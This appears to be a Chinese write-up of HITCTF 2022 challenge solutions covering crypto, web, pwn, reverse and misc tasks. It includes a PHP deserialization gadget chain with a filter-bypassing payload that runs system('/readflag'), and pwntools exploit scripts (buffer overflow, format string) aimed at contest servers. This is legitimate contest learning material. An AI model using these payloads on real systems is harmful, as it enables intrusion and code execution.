打到第三,最后把RSA想到解法了,还行,已知高位攻击分解 p 的方法还可以学学。

附件下载

Crypto

Crypto1

拿出来是一个16进制,看着像 tar 的文件头,拿到解压,得到 1 文件,文件结构比较乱。看着像base家族,然后拿到 base85转hex之后发现又是熟悉的文件头。

所以可能应该是严重套娃,写个脚本统计字符数,如果发现是 tar 文件头那就直接解压拿文件内容,如果类似 base 家族的信息就 base 解码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import gzip
import base64
import base91
import base58
import base62
from collections import Counter

with open('1','rb')as f:
text=f.read()

def get_count(str1):
c=dict(Counter(str1))
return len(c)

baseX=(get_count(text))
while 1:
baseX=(get_count(text))
print('count:{}'.format(baseX))
if text.startswith(b'\x1f\x8b'):
text=gzip.decompress(text)
elif baseX==85 or baseX==84:
text=base64.b85decode(text)
elif baseX==64 or baseX==65:
text=base64.b64decode(text)
elif baseX==32 or baseX==33:
text=base64.b32decode(text)
elif baseX==58:
text=base58.b58decode(text)
elif baseX==62:
text=bytes.fromhex(hex(base62.decode(text.decode()))[2:])
pass
else:
print(text)
break

flag:HITCTF2022{Y0u_Ar3_Th3_King_0f_Base}

Crypto2

发现就是一个计数器,然后有一个栈结构,实现了 加减乘 取模的结构,题目给了 cmd.txt,实现对各个数的运算,flag 被穿插在了 cmd 中间,于是一开始想到使用 z3,并用这样的思路去模拟:

如果取出的两个数有一个为未知数,那么新建一个未知数,设得到的结果为该未知数,否则就是常数,flag为初始状态唯一的未知数,于是找到脚本去改改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import string
from Crypto.Util.number import *
from z3 import *
from num import *
ss=Solver()
p = 2**607 - 1
print(type(x1))
cnt=1
# def s(a, b):
# return (a + b) % p
#
# def u(a, b):
# return (a - b) % p
#
# def m(a, b):
# return a * b % p

def scan(s):
step=[]
global cnt
while s:
if s[0] in string.ascii_letters:
step.append(s[0])
s = s[1:]
elif s[0] == '[':
s = s[1:]
num = s[:s.index(']')]
if num=='#':
step.append(eval('x{}'.format(cnt)))
cnt+=1
else:
step.append(int(num))
s = s[len(num) + 1:]
else:
raise AssertionError
return step

def calc(s):
global cnt,ss
stack = []
#print(scan(s))
for token in scan(s):
#print(stack)
if type(token) == int:
stack.append(token)
elif type(token) != type(''):
stack.append(token)
else:
b, a = stack.pop(), stack.pop()
if type(a)!=type(1) or type(b)!=type(1):
tmp='x{}'.format(cnt)
cnt+=1
op=''
if token=='s':
op='+'
elif token=='u':
op='-'
else:
op='*'
#print(type(eval(tmp)))
stack.append(eval(tmp))
print("({}{}{})%{}=={}".format(a,op,b,p,tmp))
ss.add(eval("({}{}{})%{}=={}".format(a,op,b,p,tmp)))
else:
#print(a,b)
if token=='s':
v=(a+b)%p
elif token=='u':
v=(a-b)%p
else:
v=a*b%p
stack.append(v)
#print(stack)
#assert len(stack) == 1
return stack[0]

# assert calc('[114514][1919810]s') == 2034324
# assert calc('[114514][1919810]u') == 531137992816767098689588206552468627329593117727031923199444138200403559860852242739162502265229285668889329486246501015346579337652707239409519978766587351943831270835393219029922831
# assert calc('[114514][1919810]m') == 219845122340
# assert calc('[456][789][123]um') == 303696

#from secret import flag
#flag = '\x01'
#flag = int(flag.encode().hex(), base=16)

cmd = open('cmd.txt', encoding='utf8').read()
#cmd = cmd.replace('#', str(flag))
q=(calc(cmd))
#v=211628186767393818556251909887187904577210135303836860239435739472106633529410929587038047765313010325750338075891823682635502490521440215978665151485743439682336190814184610992830040
#ss.add(eval('{}=={}'.format(q,v)))
print(ss.check())
print(ss.model())
long_to_bytes()
#assert calc(cmd) == 211628186767393818556251909887187904577210135303836860239435739472106633529410929587038047765313010325750338075891823682635502490521440215978665151485743439682336190814184610992830040

这里的 num.py就是一开始感觉可能未知数会很多,存了很多z3的未知数放在了 num.py 中。

没想到最后的结果只有 13 个式子

然后我们就是已知x13求 x1 了,本来以为 z3 能求,没想到这么慢,就用python 手算了,当时的终端日志:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
>>> from Crypto.Util.number import *
>>> ans=211628186767393818556251909887187904577210135303836860239435739472106633529410929587038047765313010325750338075891823682635502490521440215978665151485743439682336190814184610992830040
>>> p = 2**607 - 1
>>> ans-=357912307834259213653128634794940914596507256175506043013473144575889601751685024934341011218038398747178612125892760523871786468537993455666648592264307733564175853226677357748565113
>>> ans
-146284121066865395096876724907753010019297120871669182774037405103782968222274095347302963452725388421428274050000936841236283978016553239687983440778564293881839662412492746755735073
>>> ans+=p
>>> ans
384853871749901703592711481644715617310295996855362740425406733096620591638578147391859538812503897247461055436245564174110295359636153999721536537988023058061991608422900472275993054
>>> ans*=inverse(411462633351188704608772808736605191389923045827641716511469308371854121046362931301201375260845451848982856577009623299816324457739774142518892624317933419004496564018161840092441609,p)
>>> ans%=p
>>> ans
418346905060800167260049738638067853961486426712513656666212094740768015121073928933318747489519801460345109750830490811773059261509895197234287326140319651698134732652500878028530814
>>> ans-=405277799051970673662801377723672963663731597810359617329765419659576945597240297480269578668417239423727580929070705786881955931110402398335890389099929008486871336532303266008184849
>>> ans
13069106008829493597248360914394890297754828902154039336446675081191069523833631453049168821102562036617528821759785024891103330399492798898396937040390643211263396120197612020345965
>>> ans*=inverse(266786049503793180671593180171285607267937291386517024152767948485542129161609474025939244637171224835933234460786246192462321233844724721442838436104220216301662441280032397322012869,p)
>>> ans%=p
>>> ans
113703124700679415383479743965644767633594126070651549962364962272435752988984615903023681215001828712939598216346460095306989575968395882257838134421383244651513367699814797977622406
>>> ans-=329413142624682830072062312344664670657676804598199974252482170738455671758477066245274544233089658385383771602659521107081460343229409192986193619974433238593388986719171190288572226
>>> ans
-215710017924003414688582568379019903024082678527548424290117208466019918769492450342250863018087829672444173386313061011774470767261013310728355485553049993941875619019356392310949820
>>> ans+=p
>>> ans*=inverse(509747518370752815356459801084195729310089672054058702183281061987169033803508549887738101604685367942973008687501702092204264485750605361311969988578288525486444957877546554793693797,p)
>>> ans%=p
>>> ans+=165839131146163706086115367996555974012081654422136256245648685955916878221421477398411421659597644170978751681140704059146026898331248207774348535156605590710456443740029571361676159
>>> ans%=p
>>> ans*=inverse(142121702801478829020260933003861049247883466530930799943577455779988122604459669110334205260923754356449343846208954099483456230863726350624778551913564131383628808003460154339600404,p)
>>> ans%=p
>>> ans*=inverse(183071373516520549207577402797386102692277431976907349274136009719534503668840785924520834697959249645197750171829448025189506854326750416465015622082002300707311266953797519604299392,p)
>>> ans%=p
>>> ans=84814702442206743141315418314363700843763684274888674447614037562848731974003165144242888622700246417328307742191053416029770031887073881821630737367508536343638035495945224940047233-ans
>>> ans
-57346359750140432160613879275219263328193373815643163857605651581577450405087145996489449260500259437702860775381384795627277159922495354915571768471542062057852722450670143168549306
>>> ans+=p
>>> ans%=p
>>> ans*=inverse(393926316432640484766273060620865379785410111973395923709856173813361374147800349857401893990151884942524826629432805076866870155732114631381903699794058108179098102490606577881709383,p)
>>> ans%=p
>>> ans-=81400841347738205877353746324299277291277356563154583584412416913743196467840261318987244863470045052929898762129171746639696678721661976384989764957120352119094038687040657495882525
>>> ans
56006392793427440466629830465381697234575472764283528943993409475750880292090685471640666369998009981
>>> hex(ans)
'0x666c61677b61363139633330322d633338352d343130652d383561612d3932613239366330643061367d'
>>> long_to_bytes(ans)
b'flag{a619c302-c385-410e-85aa-92a296c0d0a6}'
>>>

Crypto4

给了我们一个 task.sage,并且告诉了我们公钥生成的式子,告诉了我们

1
2
3
4
# while not is_prime(q):
# p = random_prime(2**512)
# noise = randint(2**50, 2**51) * 2
# q = 1337*(p + noise)**2 + 7331*p + 1

我们已知 n 就可以写一下脚本,去求出 p 的大概范围,这里可以用二分法,然后noise取理论最大值和理论最小值得到一个 p 的范围,并且用 hex 输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from z3 import *
from gmpy2 import iroot
from Crypto.Util.number import *

n=42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933
l=1
r=n
x=2**51
while l<r:
p=l+r+1>>1
if p*(1337*(p + x)**2 + 7331*p + 1) <=n:
l=p
else:
r=p-1
small=p

l=1
r=n
x=2**52
while l<r:
p=l+r+1>>1
if p*(1337*(p + x)**2 + 7331*p + 1) <=n:
l=p
else:
r=p-1
big=p
print(hex(small))
print(hex(big))
#0x3c6115276d08deac00dfaf9d48fd0eab3c30f7babcfb7c84c1c9012cf2223ff755d14045772e01b55288fbd9b6c140ca300ca8dbf4ae8c4144261935f1521d57
#0x3c6115276d08deac00dfaf9d48fd0eab3c30f7babcfb7c84c1c9012cf2223ff755d14045772e01b55288fbd9b6c140ca300ca8dbf4ae8c414420c3e09bfcc803

我们可以发现,高位几乎是一模一样的,所以这题可以变成已知高位的一个攻击手段。

去找了一下网上的已知高位攻击的脚本,不过发现生成的 p 并不是 512 位的,多次修改发现是 510 位的才跑出来一个 p 的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from sage.all import *
n = 42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933

p4 =0x3c6115276d08deac00dfaf9d48fd0eab3c30f7babcfb7c84c1c9012cf2223ff755d14045772e01b55288fbd9b6c140ca300ca8dbf4ae8c41442

e = 0x10001
pbits = 510

kbits = pbits - p4.nbits()

p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.3)
#经过以上一些函数处理后,n和p已经被转化为10进制
print(roots)
if roots:
p = p4+int(roots[0])
print ("n: ", n)
print ("p: ", p)
print ("q: ", n/p)
#[1092903380839769]
#n: 42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933
#p: 3162316819738671021874985141532340342028040544925325710662118932434889166575989423317260385980164167805568842134780402442191186968988395978308268436614489
#q: 13370331132653610847180343646287913199063770668871642185054921581757749617560745171479786389306694902808163929720980260762843189890327339288619140133731480722660515686245462261353506938861687274006784775386723505176792128169753637065137978713783446674198409489033402181078311992520659985667129162989791255108597

后面就没啥好说了,n 分解了就正常求 rsa 了。

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
p=3162316819738671021874985141532340342028040544925325710662118932434889166575989423317260385980164167805568842134780402442191186968988395978308268436614489
c = 3528318136699440157664914506056633597368224752169169950632753898494454158424115366926095425749531868842874771964596508396972663383750763286285034629541063915735387547518003994077453821130849629958388768308449998767664057687468979091006268419207698084959237052794741550442575592311224791991420882101657879291324190611435577370047270182640408743508066884971144331157658093543197683834621836557941029254150133864346305341027175337233841704103517573602775811714443841
n=42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933
q=n//p
phi=(p-1)*(q-1)
d=inverse(2**16 + 1,phi)
m=pow(c,d,n)
print(hex(m))
#0x484954435446323032327b706c7a5f666f6375735f6f6e5f6170706c69636174696f6e5f706172745f6f665f63727970746f67726170687924245f615f63616e64795f666f725f796f75725f70617373696f6e2468747470733a2f2f7777772e696163722e6f72672f247d
#to hex:
#HITCTF2022{plz_focus_on_application_part_of_cryptography$$_a_candy_for_your_passion$https://www.iacr.org/$}

Web

web2

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
// php version 7.4.32
class a{
protected $a1;
private $a2;
private $a3;

public function __unset($unset) {
$this->a2 = [];
if($this->a3){
if($this->a1->{$unset} != []){
$this->a1->{$unset} = $this->a2;
}
}
}

function __clone(){
$cls = $this->a1;
if(is_object($cls)){
return $cls($this->a2); //e __invoke
}
return new stdClass();
}

public function __toString(){
return $this->a1.$this->a2;
}
public function __call($name, $args) {
// do nothing
}
}

class b{
private $b1;
private $b2;

public function __destruct(){
$this->b1->x11();
}
public function __wakeup(){
if (is_object($this->b1) && get_class($this->b1) != e::class) {
if (property_exists($this->b1, $this->b2)){ //$this->b2 为string类型 设置为 d 触发 __toString
unset($this->b1->{$this->b2});
}
}
exit();
}
}

class c{
private $c1;
private $c2;
public function __construct(){
$this->c1 = "are you a hacker?";
}
public function __destruct(){
echo $this->c1;
}
public function __wakeup(){
$this->c1 = "don't hack me!!!";
}
public function __call($name, $args) {
$func = $this->c2[$name];
if(!in_array($func, get_defined_functions())){
$func(...$args);#调用ev1l
}
}
}


class d{
private $d1;
private $d2;

public function __toString() {
if(!isset($this->d1) && isset($this->d2)){
$this->d1 = clone $this->d2; //a __clone
}
return $this->d1.$this->d2;
}
}

class e{
private $e1;
private $e2;
public function __invoke($args){
if($this->e1){
$this->e1->e11($args); #c __call
}

}
public function __get($name){
if(isset($this->e1) && isset($this->e2)){
$this->e1 = $this->e2;
}
return $this->e1;
}
}

class f{
public function ev1l($_){
if($_[0] != $_[1] && $_[0] !== $_[1] && md5($_[0]) === md5($_[1]) && sha1($_[0]) === sha1($_[1]) && strlen((string)$_[0]) < 5 && !is_object($_[0])){
create_function('', $_[2]);
}

}
}
if(isset($_POST['ser'])){
$ser = $_POST['ser'];
if(!preg_match('/ev1l|(s:\d+:)/',$ser) && !preg_match('/\x00|("[a-f]":\d+:\{)/i',$ser) && !preg_match("/\}$/",$ser)){
$obj = unserialize($ser);
throw new Exception("can't destruct");
}else{
die("hacker!");
}

}else{
highlight_file(__FILE__);
}

分析可得调用链如下

1
b::__wakeup -> d::__toString -> a::__clone -> e::__invoke  -> c::__call -> f::ev1l

f::ev1l 函数那的判断用浮点数精度绕过

1
2
md5(0.4) == md5(0.400000000000004)
//true

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
class b{
private $b1;
private $b2;
public function __construct($o){
$this->b1 = $o;
$this->b2 = $o;
}
}

class d{
private $d1;
private $d2;
public function __construct($o){
$this->d2 = $o;
}
}
class a{
protected $a1;
private $a2;
private $a3;
public function __construct($o, $arg){
$this->a1 = $o;
$this->a2 = $arg; //参数
}
}

class e{
private $e1;
private $e2;
public function __construct($o){
$this->e1 = $o;
}
}

class c{
private $c1;
private $c2;
public function __construct(){
$this->c2 = array("e11"=>"f::ev1l");
}
}

$c = new c();
$e = new e($c);
$arg = array(0.4,0.400000000000004,"2;}phpinfo();/*");
$a = new a($e,$arg);
$d = new d($a);
$b = new b($d);
echo urlencode(serialize($b));

还有一段正则过滤要处理

  • ev1l和00使用 S: 16进制绕过,顺便绕过第一个正则那的s:\d+:过滤
  • "[a-f]":\d+:\{使用 b":+2:绕过
  • \}$这段使用}test绕过 }后有字符就行

最终payload如下:

1
O:1:"b":%2B2:{S:5:"\00b\00b1";O:1:"d":%2B2:{S:5:"\00d\00d1";N;S:5:"\00d\00d2";O:1:"a":%2B3:{S:5:"\00*\00a1";O:1:"e":%2B2:{S:5:"\00e\00e1";O:1:"c":%2B2:{S:5:"\00c\00c1";N;S:5:"\00c\00c2";a:1:{S:3:"e11";S:7:"f::\65v1l";}}S:5:"\00e\00e2";N;}S:5:"\00a\00a2";a:3:{i:0;d:0.40000000000000002;i:1;d:0.40000000000000402;i:2;S:25:"2;}system("/readflag");/*";}S:5:"\00a\00a3";N;}}S:5:"\00b\00b2";r:2;}test

Pwn

Pwn1

签到题,直接溢出拿 backdoor 获得权限

1
2
3
4
5
6
7
8
9
from pwn import *
#p=process('./pwn_easy')
p=remote('116.255.213.249',9999)
elf=ELF('./pwn_easy')
backdoor=0x8049216
payload=b'a'*0x2c+p32(backdoor)
p.sendafter(b'Please input your username:',payload)
p.interactive()
#HITCTF2022{96A72380-2644-4459-876C-F9E4593E4907}

Pwn2

这题利用格式化字符串的漏洞,我们可以读取 old_flag.txt,但是只是一句无意义的话 flag well tell you the truth about time. 我觉得出题人有侮辱我英语的嫌疑

用下面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
import re
context.log_level='debug'
p=process('./time')
#p=remote('122.114.225.151',10000)
payload=(b'.%x'*12+b'.%p'*500)[:255]
p.sendlineafter(b'Who are you?',payload)
p.sendlineafter(b'2.old_flag.txt',str(2))

#gdb.attach(p,'b display\nb *0x4013FB')
#p.sendlineafter(b'2.old_flag.txt',str(1))

p.interactive()

读取之后选择选项 1 可以以 8 字节 16 进制的形式输出内容, old_flag.txt就是上面那句话。

但是因为它多线程,并且在读取 old_flag.txt 的时候有一个休眠操作,所以我们可以乘此机会把 old_flag.txt 修改成 flag.txt 再读出来,当时就是随便乱按出来了

flag:HITCTF2022{time-is-a-file-that-wears-and-makes-no-noise}

Pwn4

典型 nim 博弈,只有三个石堆,对于该博弈:若三个石子的异或和为0,则当前出手必输,它在生成的时候强制要求了 三个石子的异或和不能为0,也就是说我们后手我们必输。我们先先手拿下 AI 拿到前半部分的 flag。

后面审计代码的时候发现在选择先手的时候有一个未初始化的漏洞,我们选了 1 不会设置谁先先手,而 2 会设置。于是为了拿后手赢的 flag 我们可以先输一次,然后再拿先手赢的 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
import re
context.log_level='debug'


def do_process():
s=p.recvuntil(b'left')
#print(s.decode())
res=re.search('\| (.*?) left',s.decode()).group(1)
return int(res)

def find(A,B,C):
value=A^B^C
if value==0:
return None,None
if A-(A^value) >=0:
return 'A',A-(A^value)
if B-(B^value) >=0:
return 'B',B-(B^value)
if C-(C^value) >=0:
return 'C',C-(C^value)
return None,None
flag=1#flag=1拿后手,flag=0拿先手
while True:
#p=process('./nimgame')
p=remote('122.114.240.98',10051)

p.sendlineafter(b'y/n','y')
p.sendlineafter(b'plz','xia0ji233')
if flag:
p.sendlineafter(b'1: you go first; 2: AI goes first','2')
while True:
A=do_process()
B=do_process()
C=do_process()
A=do_process()
B=do_process()
C=do_process()
cnt=0
if A==0:
cnt+=1
p.sendlineafter(b'which heap? >','B')
p.sendlineafter(b'how much to take? >',str(B))
break
if B==0:
cnt+=1
p.sendlineafter(b'which heap? >','B')
p.sendlineafter(b'how much to take? >',str(A))
break
if C==0:
cnt+=1
p.sendlineafter(b'which heap? >','B')
p.sendlineafter(b'how much to take? >',str(A))
break
if cnt==0:
p.sendlineafter(b'which heap? >','A')
p.sendlineafter(b'how much to take? >',str(A))

p.sendlineafter(b'y/n','y')
p.sendlineafter(b'1: you go first; 2: AI goes first','1')
while True:
A=do_process()
B=do_process()
C=do_process()
print(A,B,C)
cnt=0
if A==0:
cnt+=1
if B==0:
cnt+=1
if C==0:
cnt+=1
heap,num=find(A,B,C)
if heap==None:
p.shutdown()
quit()
break
p.sendlineafter(b'which heap? >',heap)
p.sendlineafter(b'how much to take? >',str(num))
if cnt==2:
break
A=do_process()
B=do_process()
C=do_process()
p.interactive()
#HITCTF2022{Oh_You_Are_God_of_Nim_&&_GOD_Of_AI_&&_gOd_of_Cpp}

Reverse

Reverse1

SPARC架构的,扔到ghidra里面去反编译,里面 main 函数和 ss 函数比较有用, ss 函数分析到最后得出就是一个除法,最后判断余数是否相等。

它的逻辑就是my_input/1314561==15999967210166348148……163829。

这个稍微反一下就好了flag=15999967210166348148*1314561+163829=21032932895763484787946857

Reverse2

进入 main 函数发现有自带混淆,最后调用了一个 CreateThread 去执行。那么在这里下断点,然后跟进 StartAddress 里面。

然后输入flag 发现,我们的输入在 byte_40401C 中,对此交叉引用来到

发现仅仅对我们的输入进行了 ^0x40。

我们继续往下看,调用了 writeprocessmemory 把我们的代码写到了那个地方,于是分析一下4013A0的代码,发现底下有对我们的结构体逐一比对计算。

我们按顺序重排一下,可以写出下面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<stdio.h>
int a=0x12345678;
int main(){
char inp[0x20];
inp[4]=20;
inp[3]=3;
inp[2]=20;
inp[1]=9;
inp[0]=8;
inp[9]=114;
inp[8]=114;
inp[7]=112;
inp[6]=114;
inp[5]=6;
inp[14]=117;
inp[13]=120;
inp[12]=114;
inp[11]=118;
inp[10]=59;
inp[19]=61;
inp[18]=114;
inp[17]=115;
inp[16]=121;
inp[15]=114;
for(int i=0;i<0x20;i++){
//inp[i]^=0x40;
putchar(inp[i]^0x40);
}
//printf("%s",inp);
}

运行得到答案

Reverse4

ida 打开去花指令,call 00001040的指令后两个字节 需要patch 成 0x90,驱动hook 了 idt,DriverEntry 里面的 sub 1420里面的 sub 1170 的参数是Hook ldt的位置,0x1050 是判断flag的位置,然后flag拷贝到了驱动里面。

驱动层 Hook 了 idt,用户层DeviceIOControl 带回来两个个 中断字节 并将其写入MessageBox的头部,用于判断flag的 0xb,0xc,0x13,0x14位,IOControl的处理函数里判断了0xd,0xe,0xf,0x10位,剩下的其他字节可以在用户层找到

flag:HITCTF2022{991048756}

Misc

Misc3

Misc3

拿到手是一个后缀名为jpg格式的文件,但用图片查看器无法查看,拖入010中检查发现首部有一小段神似png文件格式

Snipaste_2022-11-27_16-17-45

套入PNG模板后根据经验修改文件头和文件尾,但是搜索发现文件中已然存在一个文件尾,不过不在文件的最后面

Snipaste_2022-11-27_16-18-57 Snipaste_2022-11-27_16-33-53

直接将后面的部分删去

Snipaste_2022-11-27_16-35-04

保存之后发现可以查看图片了,但是图片显示一个小白条

Snipaste_2022-11-27_16-35-15

猜测可能是图片的宽和高不太够导致图片显示不全,但在改大宽高之后010报错了

于是只能准确一些,用脚本配合文件的CRC跑出正确的宽和高

Snipaste_2022-11-27_16-35-58

得到图片

misc3

输入发现不是flag,卡了一段时间,突然醒悟,先前删去的文件尾端的东西是不是有用,于是重新捡回来

因为拿到了一个password,猜测可能是图片隐写的密码或者是压缩包解压密码,多次尝试和观察后,发现原文件尾端的数据的开头转16进制,神似打乱了的7z文件的文件头,于是修改一下文件头

Snipaste_2022-11-27_17-24-41

果然是个压缩包

Snipaste_2022-11-27_17-25-05

解压获得flag

Snipaste_2022-11-27_17-26-53